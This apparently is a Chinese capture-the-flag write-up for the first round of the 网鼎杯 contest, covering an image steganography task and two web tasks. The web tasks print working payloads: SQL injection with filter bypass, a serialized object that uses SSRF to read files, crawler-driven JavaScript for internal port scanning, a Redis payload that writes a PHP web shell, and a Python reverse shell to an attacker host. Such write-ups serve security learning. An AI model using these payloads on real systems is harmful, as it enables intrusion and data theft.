“网鼎杯”第一场Write up

太菜了,都是大佬们交的flag
图片.png
复现几道有意思的题

MISC

minified

Stegsolve打开图片,选择0通道发现是LSB隐写。
图片.png
分别把alpha,green和blue的0通道另存为再进行异或处理,最终在alpha和green的异或中发现flag。
图片.png

WEB

fakebook

访问robots.txt
图片.png
存在备份泄露,把user.php.bak下载下来

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

注册一个blog为http://www.baidu.com的用户,可以看到请求到的百度的资源,network上没有本地请求记录,即存在SSRF。可是在user.php中blog的正则匹配很严格。

view.php的no参数是可以注入的,过滤了union select用/**/可以绕过。
payload:view.php?no=-6 unIon/**/select 1,group_concat(no,'--',username,'--',passwd,'--',data),3,4 from users
图片.png

发现data是一个序列化的数据,报错中也可以看出用了unserialize()函数,另外可以看到报错的地方爆出了绝对路径。那么在这里我们就可以通过注入来控制反序列化,再利用 ssrf 读文件。
payload:/view.php?no=-6 unIon/**/select 1,2,3, 'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看页面源代码可以看到data URI协议,点击即可getflag
图片.png
图片.png

spider

hint:动态爬虫,Redis Getshell。8000端口存在apache2
复现的时候环境坏了,爬虫好像不会工作了只能按着wp理一下思路。
图片.png
访问 robots.txt 发现存在 /get_sourcecode 文件,访问该URL提示 NOT 127.0.0.1 。
尝试伪造IP绕过,发现并不能,转换思路。首页的爬虫分析系统会执行 JS 代码,我们构造如下代码,利用ajax,通过服务器执行 JS代码来访问 /get_sourcecode 文件。

<script>
request = new XMLHttpRequest();
request.onreadystatechange = function(){
  if (request.readyState===4 && request.status===200){
    document.write("<a href=''>"+request.responseText+"</a>");
  }
}
request.open("GET","http://127.0.0.1:80/get_sourcecode",true);
request.send();
</script>

当服务器执行 AJAX 请求后,会把返回结果存在 id 为 flag 的 a标签 中。
图片.png
拿到 get_sourcecode 源代码,具体如下:

from flask import Flask, request 
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json

app = Flask(__name__ , static_url_path='')

def proc_shell(cmd):
    out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
    fileno = out_temp.fileno()
    proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
    start_time = time.time()
    while True:
        if proc.poll() == None:
            if time.time() - start_time > 30:
                proc.terminate()
                proc.kill()
                proc.communicate()
                out_temp.seek(0)
                out_temp.close()
                return
            else:
                time.sleep(1)
        else:
            proc.communicate()
            out_temp.seek(0)
            data = out_temp.read()
            out_temp.close()
            return data

def casperjs_html(url):
    cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
    cmd = cmd.split(' ')
    stdout = proc_shell(cmd)
    try:
        result = json.loads(stdout)
        links = result.get('resourceRequestUrls')
        return links
    except Exception, e:
        return []

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        f = request.files['file']
        filename = str(uuid.uuid1()) + '.html'
        basepath = os.path.dirname(__file__)
        upload_path = os.path.join(basepath, 'static/upload/', filename)
        content = f.read()
        #hint
        if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
            return render_template('index.html', msg=u'Warning: 发现恶意关键字')
        #hint
        with open(upload_path, 'w') as f:
            f.write(content)
        url = 'http://127.0.0.1:80/upload/'+filename
        links = casperjs_html(url)
        links = '\n'.join(links)
        if not links:
            links = 'NULL'
        links = 'URL: '+url+'\n'+links
        return render_template('index.html', links=links)

@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
    if request.method == 'GET':
        ip = request.remote_addr
        if ip != '127.0.0.1':
            return 'NOT 127.0.0.1'
        else:
            with open(os.path.dirname(__file__)+'/[run.py](qq://txfile/#)') as f:
                code = f.read()
            return code
    else:
        return ''

@app.errorhandler(404)
def page_not_found(error):
    return '404'

@app.errorhandler(500)
def internal_server_error(error):
    return '500'

@app.errorhandler(403)
def unauthorized(error):
    return '403'

if __name__ == '__main__':
    pass

在第61行处发现 redis 关键字 dbfilename ,猜测题目存在 一个 redis 未授权访问,攻击思路应该是通过 redis 写马 getshell。我们先通过 JS 代码探测主机开放了哪些web端口。(这里有个小坑,通过 JS 代码并不能发现 redis 的端口6379是开放的,但是该端口确实是开放的。有人说 JS 代码只能探测Web类端口,在探测redis端口的时候回卡在等待界面,具体原因还需细究。)
通过JS端口探测

<a id="result"></a>

<script>

var data = document.getElementById('result').innerHTML;
var TagName = document.getElementsByTagName("body")[0];
ports=[80,81,88,8000,8080,8088];

for(var i in ports){
    var script =   document.createElement("script");
    poc = "data += '"   + ports[i] + " OPEN; '; document.getElementById('result').innerHTML =   data;"
      script.setAttribute("src","http://127.0.0.1:" +   ports[i]);
      script.setAttribute("onload", poc);
    TagName.appendChild(script);
}

</script>

图片.png
发现 8000端口开放 着,猜测可能运行着一个PHP 的Web服务。再次通过 JS 代码,操纵 redis 并写入 shell :

<a href="" id="flag">test</a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
    xmlHttp = new XMLHttpRequest();
}
else{
    xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}

var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\n\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[_]);?>\n\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>

因为不同端口,所以存在跨域,需要加上Access-Control-Allow-Origin:* 头部。(或者直接PHP反弹SHELL也可以)然后再构造一个HTML。
接着构造 JS 代码访问我们构造的PHP文件即可获得flag:

<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
    var xmlhttp;
    if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else{// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            document.getElementById("flag").innerHTML=xmlhttp.responseText;
        }
    }
    xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=flag.php",true);
    xmlhttp.send();
}
loadXMLDoc();
</script>

图片.png
直接反弹shell也可以,测试的时候发现直接用bash反弹不行,但是用python代码可以反弹回来,可能是题目环境限制了一些关键词。

<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
    var xmlhttp;
    if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else{// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            document.getElementById("flag").innerHTML=xmlhttp.responseText;
        }
    }
    xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"VPSIP\",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`;",true)
    xmlhttp.send();
}
loadXMLDoc();
</script>